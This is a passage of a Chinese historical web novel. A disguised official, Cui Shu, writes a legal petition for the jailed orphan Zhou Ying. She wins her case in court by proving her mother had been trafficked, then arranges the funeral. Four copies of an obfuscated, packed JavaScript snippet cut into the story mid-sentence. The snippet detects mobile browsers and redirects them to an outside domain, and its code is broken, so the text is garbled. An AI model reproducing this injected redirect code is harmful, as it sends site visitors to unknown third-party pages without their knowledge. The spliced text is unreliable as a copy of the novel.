;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15418878|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好赶上。” 束关坚持：“就算十六开衙，至快也要十七才能动身，快马回去只需三日，我多留几日，多少能帮着分担一些。” “无妨。”崔述视线落在手中收集来的密信上，思绪却已如碎云游走，“你先回去候着，若官府那头有所迁延，伺机助助。” 知他素来令出不改的秉性，束关只得领命返程，一路快马，十三那日上午回到周缨住所，却见官府封戒，此间主人已无踪迹，只留两名衙役看守，只得四下打听，而后简短修书传往沧州，并暗中安置下来，一边窥探事情始末，一边等待回信。 崔述于十九入夜之时赶至平山县，细问缘由进展，束关回禀道：“虽只两人丧命，但因两家人的亲缘关系，影响恶劣，也算是平山县难得一遇的大命案。不过知县却还稳得住，遵循年末不理刑名的旧例，生生拖到十六才开衙，简单问了几句当日情况录了口供，就退了堂说择日再审，现下人已在牢里关了快二十日了。” “为何仓促停审？” “我瞧这知县虽昏庸，但手底下有几位刑名师爷和捕快倒还算精明，现场查出不少蛛丝马迹，和她大伯父杨固在堂上所攀咬的出入甚大，故暂时停止问案退了堂。” “如何攀咬？” “他妻子丧了命，据那姑娘的证词，他自个儿身上也背着条人命，想是狗急跳墙，非要将他妻子的死说成是那姑娘所为。郎君也知地方断案，时常断的就是糊涂案，反正当日就他们四人在场，另两人已没了命，若这厮继续胡乱攀咬，还真可能牵连到周缨姑娘。” “周缨？” “郎君不知此女名姓？”束关微怔。 那日押解路上曾听差役交谈间说起崖下便是杨家坪，何况她伯父也是此姓，他自然以为她亦姓杨，老实道：“确实不知。” 束关至此方知，虽郎君特地派他前来护送此女，但这二人是真不算熟悉，只好详说：“这姑娘是甲辰年正月生人，现今才将将满十五岁，一介孤弱，逢此家变，却还算冷静，公堂之上将那晚的情形说得一清二楚，不曾露怯。” “正月？” “对，堂审录信息时所供，确是前几日生辰。” 崔述迟疑片刻，问：“她如今情形如何？” “我设法去探过两次，先入狱时病得厉害，狱卒怕出人命，开了些药吊着一口气，好在撑过来了。” “情绪如何？方寸乱否？” “瞧着倒还好，分开收的监，无人与之交谈，就一直盯着屋顶，不哭闹，也不吵嚷，就一个人闷闷地坐着，安静极了。” 崔述沉默不语。 束关观他神色，试探问道：“可要帮忙料理？事涉官府，咱们如今身份尴尬，我不敢私拿主意，只得等您回信再作决断，不想您亲自过来了。” “既心神未溃，想必不会坐以待毙。”崔述思量片刻，道，“且给她三日，看她如何自处。” “可沧州事急，您不便在此久留，还请您拿定主意早些返程，我留下照办即可。” 崔述抬手，阻了他的话，他只得缄口，自去安排一应住宿安置事宜。 “等等。”崔述负手站在原处片刻，忽道，“安排一下，我去探探她。” 15. 郊野冻草（三） 平山县衙的牢狱占地不大，牢室划分得逼仄，空气流通不畅，潮湿、腥臭的气息四下弥散，间杂着诡异的沙沙声。踏足其间，战栗感如潮一般漫上每寸肌肤，险些令人作呕。 在前引路的狱卒频频回头观察乔作中年商户的崔述，问他是否还要坚持进去探视。 先前被关押在刑部大牢月余，条件虽比这好些，但也大差不差，崔述自然不至于因此萌生退意。 二人继续往里走，半盏茶功夫后，狱卒抬手指向角落里的一间牢室：“就在那儿了。” 崔述站在幽暗的过道里，隔着晦暗的光线，注视着监室里的人。 时辰还早，天际方起了一线淡淡的青白色，她不知是一夜未眠还是起得早，此刻抱膝坐在墙角，定定地注视着屋顶，不知在思量什么。 狱卒催促道：“要去快去，里边这几间关的都是重犯，按规矩不能探监，要是等其他犯人都醒了，准要闹起来。” 崔述没有动作。 周缨却听见了这边的轻微响动，转头往这里看来。 崔述立即往后隐了一步，周缨未曾察觉到他的存在，目之所及，只瞧见狱卒的衣物一角，出声唤道：“这位大哥，劳您过来一下。” 狱卒狐疑地看她一眼，崔述适时将一碇碎银塞给他，比了个噤声的手势。 拿人手短，狱卒将银锭塞进袖中，往里走去。 监室内灯油供应有限，此刻未曾掌灯，只气窗里透出些许薄薄的天色，狱卒看不清周缨的神情，无从揣测她的意图，只好凑近栏杆，压低声音问：“何事？” 下一刻，手中便被塞进了一张触感微韧的纸。 狱卒疑惑地举起，借着朦胧的天色辨了半天，方认出是一张十两面值的宝钞，又喜又惊：“进来时已搜过身，你从哪里得来的银票？莫不是涉案的赃款？” 周缨不答，只平静地看着他。 四目相对，狱卒竟被这一双不起波澜的眸子震住，住了声，迟疑半晌，将银票叠好塞进怀中，一侧嘴角轻抽了下，半扭着头观察四周的动静，喉咙里似含了痰，含糊不清地道：“说吧，什么事？” “今日应当不会过堂？” “是。”狱卒答完，瞥她一眼，“你如何知道？” “上回提审的时候，听其他官爷说五日后才会复审。”周缨淡声道，“既不问案，便不会提审任何犯人对不对？” “你这话什么意思？想出去？”狱卒打断她，“你是重案犯，没门儿。何况这案子闹得人尽皆知，你要逃了，我脱不了责。” “不是，十两不值得您冒这样的险。”周缨道，“是想着明日要复审，想劳您替我请位靠谱的讼师进来，请他开价，酬劳我来付。” 狱卒闻言，将她上下审视一遍，见她还算懂事，冷着脸问：“可有中意的？” “您是行家，劳您帮我挑位水准高的。” 这吹捧令狱卒颇为受用，他衔了根干草在嘴里，做了个成交的手势，假模假样地在狱中巡视一圈，退到过道里，吩咐崔述：“耽误了会儿，天已经快要亮了，犯人都快醒了，你先出去避避，等我布置好再叫你进来。” 崔述依言退出门外相候，片刻过后，狱卒出来，同他仔细交代：“我得先去请个讼师，大约两刻钟后来叫你。你放心，收了你的银子，管保叫你见到人。” “讼师？”方才隔得远，听不清他二人的交谈，乍闻这话，崔述疑道，“她要的？” “是。” 从狱卒方才的举动和此刻的态度可知，周缨定然付出了不菲的代价才换得如此通融，崔述略想了想，说：“你带我去吧。” “你会写字？”狱卒不屑道，“就算会写字，你曾碰过刑名，写过诉状？我干这行十多年了，怎么从未听过县里有你这号人物？” “你不必管。” “不行。我瞧那姑娘不像恶徒，定然是想洗冤出狱。这稍不注意就会让人掉脑袋的事，那姑娘又年纪轻轻的，我既答应了她，自然要将事办好，等会儿你自去探望你的，讼师我另外去请。”狱卒抬手别开崔述，“你让开。” 话音甫落，手心便被塞入一锭银子，他不用低头去瞧，光掂掂重量便知自个儿今日备受财神爷青睐，定然又天降大笔横财了。 他重新端量崔述一眼，普通中年商户打扮，只说是从青水镇上来的，与那姑娘有些渊源，见孤女涉案于心不忍，前来探视。 对于一个常年居于县城不熟乡情的狱卒来说，这番说辞倒是听不出什么破绽来，况此人看着还算文弱并无危险，出手又阔绰，狱卒正自动摇间，崔述又提醒他道：“她让你帮忙请讼师，自然还另有一份给讼师的酬劳。” 狱卒思忖片刻，将银子塞入怀中，警惕地环视四周一圈，清嗓道：“你既如此诚心，想必有几分真本事，先等着，我将里头料理干净，再出来叫你。” 一刻钟后，狱卒果然如约来领崔述进去，边走边劝：“你这种时刻赶来探望，想来同她有些不一般的关系，不会坑害她，我姑且信你一回。只是得提醒你，咱们知县对断案并不上心，一应卷宗能应付复审即可，可诸县上呈州府的卷宗繁多，如何能令上官留意到，诉状自也是关键一环，需要下些功夫，你若没这本事，还是趁早另请他人的好。”两边吃回扣，狱卒这趟大丰收，嘴角翘得压不住，善意地多了两句嘴。 崔述应下：“多谢赐教。” 见他油盐不进，狱卒眉峰一挑，指着最靠近门口的一间牢室说：“我把人提出来了，普牢允许探视，但隔墙有耳，说话仔细些。” 崔述弯腰迈入这间窄小的监室，等身后落锁声响起，脚步声远去，抱膝坐在书案前的女子才坐正身子，抬头往这边看来。 灯盏文房先已备好，烛火跳跃，在斑驳的土墙上映出她比先前初识时还要瘦上三分的身形。 崔述掀袍在她对面盘坐下来，落入眼底的，是一张颧骨微突、下颌轻微凹陷的脸。 他一时无言，半晌方说：“姑娘所涉之案影响颇大，我先前已有所耳闻，姑娘今日之举，是想要录一份完整的供词呈交知县，以防当堂口述有所错漏？” 眼前的中年男人衣着打扮还算光鲜，看得出略有薄资，想来能凭此业立足，当有些真本事。此时境况，周缨只能选择相信他，沉默片刻后，如实相告：“不是。我请先生来，是要先生代写一份正儿八经的诉状，状告杨固夫妇强卖人口、杀害弟媳。” 崔述没有应声。 “先生为何不说话？” “姑娘对律法可有过了解?” “这话什么意思？” “便是故杀之罪，尊长谋杀卑幼，也当处流刑或徒刑，倘定性为过失杀人，甚可罚银或免刑。” 周缨不解：“我只知杀人偿命。” “亲属相犯，量刑不同。尊长犯案，当减其罪，定律如此。” 周缨神色微变。 “强卖人口在律法上称之为略卖，但依我所闻，姑娘指的是杨固夫妇欲将你强嫁之事？” 得到肯定回答，崔述早有所料似的，接道：“同样，略卖良人本当处斩刑，但尊长对卑幼犯案，律法对其有所宽宥，减罪一等。何况姑娘心里应当有数，虽说杨固夫妇确实收取了对方的好处，但这是卖金还是给私媒的居间酬劳尚需论断，此事到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427291|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能否定性为略卖还难说，恐至多杖刑。” “律法不公。”周缨静了片刻，说，“我不服。” “律法有律法的考量，公与不公暂且不论，但普天之下皆受此律管制。” 垂在身侧的手无意识地抠住身下泛潮的枯草垫子，指甲缝中混入草屑，扎入皮肉，带起一丝刺痛，令周缨眉头紧蹙。 “而且，方才我所说的这些，是以案件证据确凿、堂官秉公办案为基础的。” “真相如此，我未曾撒谎。” “你请我来，我自然站在你的立场，暂且就当胥吏从现场勘验出的证据的确能够佐证你的说辞，那后一条呢？” 周缨脸色微变，闭口不答。 “自来官府办案，多以拖字为要，这等重大刑案，拖到三月审结期限再作判决不在话下。”崔述看向她眼下的青黑，点破她心中所想，“收监至今已逾廿日，只草草提审过一回，知县的态度，你想必已经猜出几分来了，否则也不会贸然行今日之举。既然如此，平心而论，你觉得你有几成胜算？” 周缨仍旧缄默。 “姑娘心里已经有答案了。” “请先生指点。” “清官廉吏难遇，利字开道，或可事半功倍。” “收买？”周缨眉眼间皆是不屑之色，“小民遇事，不可能不考虑这条路，但依我的家境，恐怕填不饱这官府上下数十张狮子口。” “杨固之子也填不饱，你只要比他强些就有胜算。” 周缨目光落在他左颊一道轻微凸起的瘢痕上，语带嘲意：“讼师都是靠这样的手段赢官司的？” “怎么？姑娘瞧不上？” “也不是瞧不上，有捷径谁不想走。”周缨注视着他，目光如水一般沉静，“但我想真正赢一回。” “那将当日之事情仔细说来。”崔述同她对视一眼，不再相劝，垂首整理好纸张，执笔蘸墨，揽袖落笔。 周缨冷静地讲述着当晚的经历，崔述写到末尾，忽地停了笔，抬头看向她，最后确认：“姑娘想要的是洗清冤屈重获自由，还是替亡人讨个公道？” “这两样，不可以都要？” “辅以其他证据，姑娘洗脱嫌疑不难。要以命换命，按律确有难度。” 周缨越过一尺见方的小窗往外望去，天际淡扫一层薄薄的青色，这时节看去，令人无端联想到薄雾里的翠竹山，轮廓也是这样浅淡的青色。 “先生是想劝我放弃？除了上缴买命钱，我没有第二条路可走？” “不是。是想告诉姑娘，要达目的，得审时度势略行变通，有时，更需狠下心付出点代价。” 周缨猛然抬头，将他上下打量了个遍，才缓缓收回目光。 崔述只作不觉，重新提笔，将方才的诉状接着往下写。 监室寂静，笔尖在纸面上划过的沙沙之声萦在耳畔，周缨闭眼，牙齿无意间咬破下唇，刺痛感与血腥味弥散开来。 崔述抬眸看去，执笔的手一颤，尖端的墨汁迅速洇染上纸面，留下一小团污渍。 周缨睁开双目，平静道：“我想好了，劳先生再写一张吧。” 崔述颔首，将方才被毁的纸张揉作一团，重新铺纸落笔。 周缨视线落在他的指骨上，右手第二指节蜷曲的角度有些怪异，落笔时不太自然。 感受到她的目光，崔述手微微一滞，又若无其事地继续往下写。 “倘若——”周缨忽然不易觉察地哽咽了一下。 崔述抬头，破天荒地从她如墨的双瞳里看出了浓郁的悲伤和哀怜。 “倘若，死者不是凶犯亲属呢？” 16. 郊野冻草（四） 春耕未启，诸农得闲，又兼连日风清气朗，山路干硬易行，翌日一早，县衙门口便聚集了远近乡里赶来的看客，其中尤以杨家坪和县城居民为主。 巳时一到，役吏开门列阵，诸客入内，主官落座，开堂过审。 五日复审乃刑部定规，意为核对涉案之人前后两次所供之词是否矛盾，从而辅助判断供词真假。 主审官依次讯问完杨固、周缨和赵铁匠，又问完杨成夫妇及杨家坪十数证人，着人录完供词，便如上次一般吩咐退堂，托词要差人到现场再次取证后再审。 众人兴致缺缺，怨声四起，周缨忽然扬声唤住主审官：“知县留步，我有事要奏。” 此案影响非同小可，围观人数甚众，知县清楚不好轻易敷衍，只得返身坐下，语气不善地问：“案犯还有何事漏报？” 周缨自怀中取出一叠整整齐齐的纸，双手平举过眉间：“我要告状，此为诉状。” “你自身嫌疑尚未洗脱，若要告状，等宣判后再告不迟。” 周缨将纸举高：“我所告之事，与此案实为同一案，请知县一阅。” 底下上百双眼睛看着，知县只得让人呈上，待草草阅过一遍后，微眯双目，眸中露出锐利的凶光：“此状为何人所写？” 周缨未作答。 见知县反应怪异，随侍的刑名师爷忙将诉状取过一观，登时面色凝重。 知县心下亦浮起几分不安，面上却只冷哼一声：“凡涉命案者皆为重犯，不得任何人探视，你一个目不识丁的乡野村妇，这诉状从何而来？”说罢提手掣令签，“按律，先杖十以作惩戒，再行讯问。” 知县年过不惑，多年收刮的油水早已侵脑入脏，脑满肠肥，一脸横肉，颇显凶相。 周缨与其对视，丝毫没有被他经年积压的官威震住，冷静发问：“敢问知县，《永昌律疏》第三百二十条为何？” 知县不想竟被一大字不识的卑贱农女问住，见堂下众人皆目不转睛地盯着自个儿，面子上挂不住，斥道：“与此何干？重犯不得探视乃《永昌律》白纸黑字所规定，即便拿出注疏来，你也犯禁了。”说着见书吏在旁使眼色，忙住了声。 “《永昌律》刑名篇虽然的确有知县老爷所说的这条规定，但《永昌律疏》第三百二十条将此条注解为，各级法司在审理重案时，不得允准探望重犯，但讼师了解案件不在其列，以保公正。 “因《永昌律》行文精简，各级法司水平又参差不齐，为防断案者在裁断时运用不当，当今右相、前任刑部尚书徐涣曾于七年前主持注释律文，形成《永昌律疏》，由今上颁布，通行全国，各府州县莫不遵从。” 堂下轻微议论声起，林氏顾不得官府威严，侧头直愣愣地看着周缨，嘴巴微张，似是欣喜，又似不敢置信。 “纵然《律疏》规定可以允准犯人与讼师会面，但亦需先行报至官府，获准再见。”知县不忿地驳斥，见书吏冲他摆手，犹豫片刻，挥手撤退堂下执杖的皂班，“也罢，先听听你所诉为何，稍后再论。” 周缨长吸一口气，用全场皆可听得一清二楚的声量道：“我今日有三诉，一诉——”她转头看向脑袋缠满布条畏缩成一团的杨固，眼神平静而肃杀，“一诉杨家村村民杨泰，也就是我已然亡故的生父，略卖我母，也即本案中的死者杜氏。” 堂下众人哗然，杨家坪众人更是瞬间炸开了锅，七嘴八舌叽喳个不停。 知县着人维持好堂中秩序，令她继续往下将细节说来。 “我母亲本名周宛，为宁州棠县人士，十六年前，即永昌八年，被人牙子略卖南下至平山县，杨泰将人买下，顶替亡妻杜氏之名，隐匿于家中，至永昌十九年，杨泰身死。《永昌律》规定，略卖良人买卖同罪，即便杨泰尚还存世，仍当处以斩刑。” “可有证据？” “年已久远，并无物证，但堂中便有一位人证。杨泰真正的原配妻子杜氏身弱，自嫁到杨家起便一直深居简出养病，虽不到一月就仓促去世，但自家兄弟总该认得弟媳。” 知县转向杨固，质问道：“此话当真？从实招来。” 杨固本就心内惶惶，不知周缨突然翻出此旧账是何意，反应不及，口快于心：“我弟弟五年前摔死在了沙河里，尸骨都没找着，青天老爷明断，人都已经死了，现在追究这些还有什么意义？”说罢又转头盯着周缨，目露凶光，“何况杜氏那老东西死前曾亲口承认，我弟弟就是她所杀！” 堂外喧声复起，役吏水火棍点地，连喝“肃静”，众人方安静下来。 “知县大人，他承认了。”周缨停顿片刻，接道，“永昌十三年，我县重录户帖，杨泰为我所录姓氏为周，既不随父也不随母，实为世所罕见，对外只称我为抱养，实是嫌我贯他姓晦气，兼我母亲苦苦哀求，故才如此。此事当时村中乡邻也曾私下议论过几年，今日我将答案公之于众，是非论断，大伙心里自有判断。” 堂外有同村村民出来作证，纷纷说此事诡异，早年间从未听杨泰提起过这丫头乃是抱养，村民们也都将周缨视作杨家骨血，直到那年县上派人下来核验十年间人口变动情况并重录户帖，杨泰却正式为她录了周姓。 当时众人讶异，杨泰也不肯多说，反倒是后来同村民斗酒喝醉后说漏过嘴——“花了老子那么多钱，最后只生出个死丫头片子，跟着老子姓多晦气，就当赏她了”。村民们当时不知是何意，但杨泰当时醉得吓人，但凡有人追问就提起条凳要打人，模样可怖，至今仍有几人记得此事。 几人的证词和周缨所言互相佐证，堂下众村民既觉惊讶，又觉颇合情理，窃窃私语一阵，渐渐平息下来。 杨成和林氏惧怕堂官，低垂着头，生怕招来祸患，却时不时地转头往这边瞥上一眼，眼神里满是藏不住的担忧。 周缨冲他们轻轻颔首，示意他们安心，二人才重新怯懦地垂下了脑袋。 等书吏录完数名村民的证词，知县捋了捋长须，咳嗽清嗓，不疾不徐地问：“虽有几分合情理，但不过是推测，可有实证？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431289|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “杨家家境窘迫，杨泰又是个酒鬼兼赌鬼，出了名的好吃懒做，名声稀烂，附近人家没有愿将姑娘嫁过去受糟践的。好不容易遇上杜家，因相隔较远不曾耳闻这些恶闻，又受天灾缺钱得紧，愿将杜氏许配给他，谁知杜氏身子太差，过门后不到一月即病亡，若消息传开，杨泰恐怕是一辈子老光棍的命，故将杜氏悄悄下葬，绝口不提。” “恰好那年人牙子挟我母亲到了平山县，杨泰在赌桌上听闻此事，正巧当日运气好，赢了不少，又同庄家借了些钱，悄悄将我母亲买下，趁夜带回家，自此锁在家中。直至一年后，杜父亡故，杜氏兄长又憎恶杨泰品行不愿再与其有所牵涉，举家搬迁，杜杨两家自此断了往来，这桩往事才成了定局，彻底不为人所知。” 周缨微抿下唇，接道：“虽杜氏已逝十余年，出嫁前又极少露面，乡邻恐难辨认形貌，兄长又已远走他乡，难寻其回乡作证，但此事仍有铁证。真正的杜氏葬在杨家坪后山西南方位的竹林旁，杜氏幼时曾摔断过腿，右腿骨与常人有异，杜氏兄长应当清楚此事可以作证，而我母亲右腿未曾受过骨伤。另有一件，仵作验尸时想必已经知晓，我母亲为小脚，但青水镇地处深山以农为生，农家女子断没有裹足妨碍生计的。还请知县派人查验这两条线索，若我此言为真，则此事定然无假。” 知县沉吟片刻，吩咐胥吏立即去查，又问周缨：“姑且信你。但纵然此事是真，人死灯灭，又与此案有何关系？” 周缨抬眸望他一眼，对他这般迟钝并不意外，平静接道：“自然是与我的后两诉有莫大的干系。按《永昌律》，略人为妻者，婚姻离正，冒妄入籍者，还归本贯，子女归宗。既然买良人为妻者婚姻作废，户帖追毁，被略者削还原籍，子女归宗，那于律法之上，我母亲与杨泰并算不得夫妻，自然也不是杨固弟媳，我亦非杨固侄女，我们之间并无亲属关系。” “因此，我诉杨固夫妇两罪，一是收取赵铁匠钱财，将我略卖与人为妻，此点杨成夫妇和赵铁匠的证词可以佐证。二是杀害我母，此事虽无其他人证，但杨成夫妇赶至时，我身无自由，不可能做到此事，况我与母亲相依为命数年，不可能无故弑母，此事只能是他二人所为。还请知县大人派人仔细勘察，还我清白。此外，既然非亲，并无减罪之故，案犯自当以命抵命。” 杨固虽不懂这其中律法上的弯弯绕绕，但听她这一通剖析也知定然不是什么好事，才知方才情急之下着了她的道，作势就要扑过来打她，被人按住仍挣扎不止，怒目圆睁：“你这毒妇，和你娘一样，养了十几年都养不熟的白眼狼。”仍撒泼耍赖般往她身上泼脏水，“难怪能干出来杀害你伯母的事来。” 周缨并不应答，只安静地跪在堂中，神色平静。 崔述隐在人群之中，隔着远远看向她挺直的脊背，悄然退出嘈杂的人群，离了此处。 知县喝住状若疯傻的杨固：“你之说辞先前已经录过口供了，现下暂且不论。”吩咐赶紧将人押下去，随即下令，“今日鞫谳到此结束，退堂。” 17. 郊野冻草（五） 堂审在一片喧嚣声中落幕，涉案众人被带回各自监室关押，围观百姓散去，平山县衙的正堂又恢复了往日的寂静肃穆。 如此又经两次勘验三轮堂审，二月廿七，缠绵数日的淫雨停歇，树木枝桠在泥土的腥气和鸟虫的鸣啼中悄悄抽了芽，翠竹山在夜色中悄然披上了一层薄薄的绿衣。 时已亥正，天际散落着几颗星子，周缨抱膝靠坐在潮得掉渣的土墙上，往窄小的气窗外看去，试图辨出她认得的为数不多的几个星宿。 杂乱的脚步声将思绪拉回，她抬眼往与普牢隔开的那道铁门看去，见狱卒拎着一个酒坛子歪歪扭扭地走进来，脚步虚浮，浑身酒气，不由轻轻皱了皱眉。 狱中只壁上点着一只灯芯将尽堪堪能照路的油灯，光线昏暗，狱卒看不清她的神色，冲她乐道：“你这小丫头运气倒还不错，没两日就能出去了。” “怎么说？” “你那邻居是个高人，我干这行这么多年，还不知青水镇上有这号人物。写的那诉状是真厉害，当日堂审把咱们老爷和书吏都当场震住了不说，今儿个送文书的兄弟回来了，说卷宗送到通判案上，通判草草扫了一眼，当即便将诉状连读了三遍，紧接着就仔细研读了卷宗里的所有档案，现下已经同意咱知县老爷的初判，发回令择日宣判了。” “我邻居？”周缨右手扶在木栏上，眼睛连眨了几次，心中那个不合时宜的猜想再度跃出来，“不是你替我请的讼师么？” “我哪有那能耐？自个儿送上门来的。你不认得那人？”狱卒心说怪异，见周缨神色变幻几次终归平静，似想明白了什么似的，举坛灌了口酒，冲她挤出一个意味深长的眼神，“上上下下请吃请喝了好几回，一回便是三桌席面，你托给我的十两已经花完了，我可没从中赚一个子儿。好在事情也算没办砸，这钱花得不冤。” 虽知这话里肯定有水分，但周缨并无心寻根究底，只是有些疑问还有待解答，正要再问，狱卒已打了个酒嗝，醉醺醺地踉跄往外走去了，嘴里含着一口咸泪，咕哝着：“衙门嘛，有理无钱莫进来。我那妹儿啊，若当初能碰到这么个高人，是不是也不会背了冤屈，早早去了。” 狱卒所言果然不虚，两日之后，官府张榜宣判，杨固以故杀定罪，被判斩监候，杨成夫妇被释，周缨亦被判明随母归宗。 连日累积的湿寒发作，林氏这两日生了场急病，状况不大好，周缨劝服杨成，雇车先送他们夫妇回去，而后自行前往义庄，领回周宛的尸身。 涉及命案，结案前不便下葬，官府虽以冰块保存，但毕竟死于非命又时日已久，常干这行的车马行都推说不详，不愿雇车给她。周缨也不生气，只冷声加价，连加五次，掌柜乐得满脸开花，忙指使一个老鳏夫赶骡车过去，另指派两个伙计抬了门板去帮忙。 周缨坐在板车上，沿着春意蔓生的道路往回走，骡车咿咿呀呀的声响将她一颗心颠得轻轻起落，生出一段造化弄人的感慨来。 原本此时，她们娘俩儿应当已经行程过半，再捱上个把月就快到棠县了，阿娘或许很快就能见到阔别十六年的亲人。 可如今…… 她抬眼望着晌午时分金灿灿的艳阳，随骡车一起摇摇晃晃的五脏六腑被无边的酸胀占得严严实实。 行至翠竹山脚，车道陡然变窄，骡车上不了山，车马行的年轻伙计坐地起价，预备大捞一笔，周缨盘算着这些时日的开销，正欲还价，山路拐弯处忽然传来一阵杂乱急切的脚步声。 杨成行在最先，肩上搭着一捆麻绳，开口说话时仍和平素一样不大敢直视旁人，只说：“阿缨丫头，咱来了。” 身后跟着的壮年男人们也七嘴八舌地道：“白事不请自到是传了千百年的规矩，丫头别同咱们客气。” “以前吧，总有些风言风语，你们两家也不和睦，咱们也不敢和你们娘俩儿多来往。但怎么说也是地邻，咱们也算看着你这丫头长大的，更何况遇到了这么大的事，总归是不一样，不能不管。” 说罢也不管周缨应不应声，一群肤色黝黑身材精壮的汉子上前将门板卸下，用绳索将草席固定好，粗着嗓子三言两语打发了车马行的伙计，轮流抬着门板沿着崎岖的羊肠小路上山，汗如雨下也绝口不喊一声累。 周缨插不上手，只得先一步赶回家中预备茶水饭菜。才刚远远看见院门，便听得叽叽喳喳的人声，等她走近，里头热热闹闹，平素不爱与她来往的婆婶嫂子们坐了一院，清洗着刚从自家地里采摘的尚还带着新泥的蔬菜瓜果。 见她进来，院中的说话声戛然而止。 周缨在篱笆院门前驻足片刻，先前红得刺目的血渍已经不见踪影，染血的土墙也被人为抹平了痕迹。 须臾，她恍若终于神归其位，提脚往里走去。 林氏走过来，想解释一番，周缨见她唇色苍白如纸，忙扶她到一旁坐下，也不再提劝她回家休息的话，只道：“婶儿，您多注意身子。这里人多，大家伙互相搭把手，就能把事情办妥，您别操太多心。” 年纪最长素得敬重的阿婆看二人一眼，转头中气十足地吩咐众人：“都别愣着了，男人们要回来了，大家手脚麻利点。” 等杨成一行回来，另一队男人也扛着桌椅板凳回来了，等将灵堂扎好，白幡挂出，挽联贴好，亡人安置，女人们已经麻利地收拾出了四五桌菜，大家伙围坐，顶着晌午的日头吃完简陋餐饭，不闻一声怨言。 饭后，大家争相收拾桌椅碗筷，三名族老来找周缨商量丧仪相关事宜。周缨已趁方才大家吃饭的功夫考虑清楚，也不拐弯抹角，径直向为首的族长道：“先前仓促，来不及准备午饭，但后面要让大家再吃这样的饭菜，传出去笑话不说，我自个儿也实在过意不去。劳太爷安排人，看村里有没有愿意卖牲口的人家，买一头来给大家置席面。” “按市价买就行，钱的事您别操心。”见对方神色困惑，周缨解释道，“米面蔬菜也是，各家除了自家吃的，若有多的愿意拿出来，也请按照市价买，倘若不够，再安排人去镇上买，钱我会备好。” 族长似有迟疑，但终是没说什么，只冲左侧那人道：“阿缨丫头有心，老三，你照她的话办，先招呼人把牲口买来杀了，这事耽误不得。” 周缨从怀中取出一张面值十两的银票递给那人，请他务必收下：“叔公，家里事情杂，就我一个人，多有抽不开身的时候，银钱的事劳您多费心。” 族长又问周缨：“族里的人来帮忙，吃不吃饭都是该的。重点还是你娘的身后事，人死不能复生，况时日已久，还是当尽快入土为安，你如何考虑？你一个孤女，若叫你自个儿来操办也是惹人笑话，我安排你族兄来搭把手如何？” “阿娘走的不太平，还是按习俗办，去去祟气，也好往生。”周缨避而不答，只说，“道场少不得，这事劳太爷操心。” 族长领悟到她的意思，女子出面操持白事虽于俗不合，但她家毕竟情况特殊，若叫旁人来帮忙也未必有人愿出这个风头，只好颔首：“这是该的。你不提我也该给你预备下，上午已经派人去隔壁镇上请麻子班头的人了，稍晚些该到了，还是按规矩先做一日法事，后面留两人守灵，出殡那日再大唱。” “好，多谢太爷，按您说的办。”周缨又说，“后山有块小坡地，土不好，不出粮食，只种了几棵茶树。那地儿平时没什么人去，我娘怕人，平常轻易不出门，偶尔却还愿意去那里采些茶叶，我看坟便选在那儿，不用修得多好，垒个土包就行。只一条，还是请个先生算下日子，合适便开工，村里有愿意帮忙的，工钱我还是照付，若没有便请人去雇。” 当年杨泰淹死后，家中没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444867|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个理事的人，族中做主替他在阳坡上相了块风水不错的地，眼下周缨这话是不想将父母合葬的意思了，族长虽觉不妥，但终是不好说什么，只好同意：“大家伙愿意来帮忙，就没什么忌讳的。老五，你去办这事。” “棺木怎么打算？”族长问，“我喊人去山里割块好点的板？” “已经停太久了。”周缨摇头，“请先生来算好时日，便先烧了，再去镇上置一副小的棺木就好。” 族长心中大骇，抬手指着周缨，似痰卡在喉间，半天只发出混沌声响，一个清晰的音节都吐不出。 周缨神色平静地站在他面前，脊背挺得笔直，无惧无畏：“太爷，您愿召集大家伙来帮忙，我很感激，但您也清楚，这么多年，我和我阿娘从来没有入过杨家族谱。倘若您不同意，起坟的事也先停了罢，毕竟那也是杨家的地，官府既已判明我和阿娘复归本籍，我阿娘其实也用不得。” 族长摇头长叹，引得在一旁收拾的女人们纷纷往这边看过来。 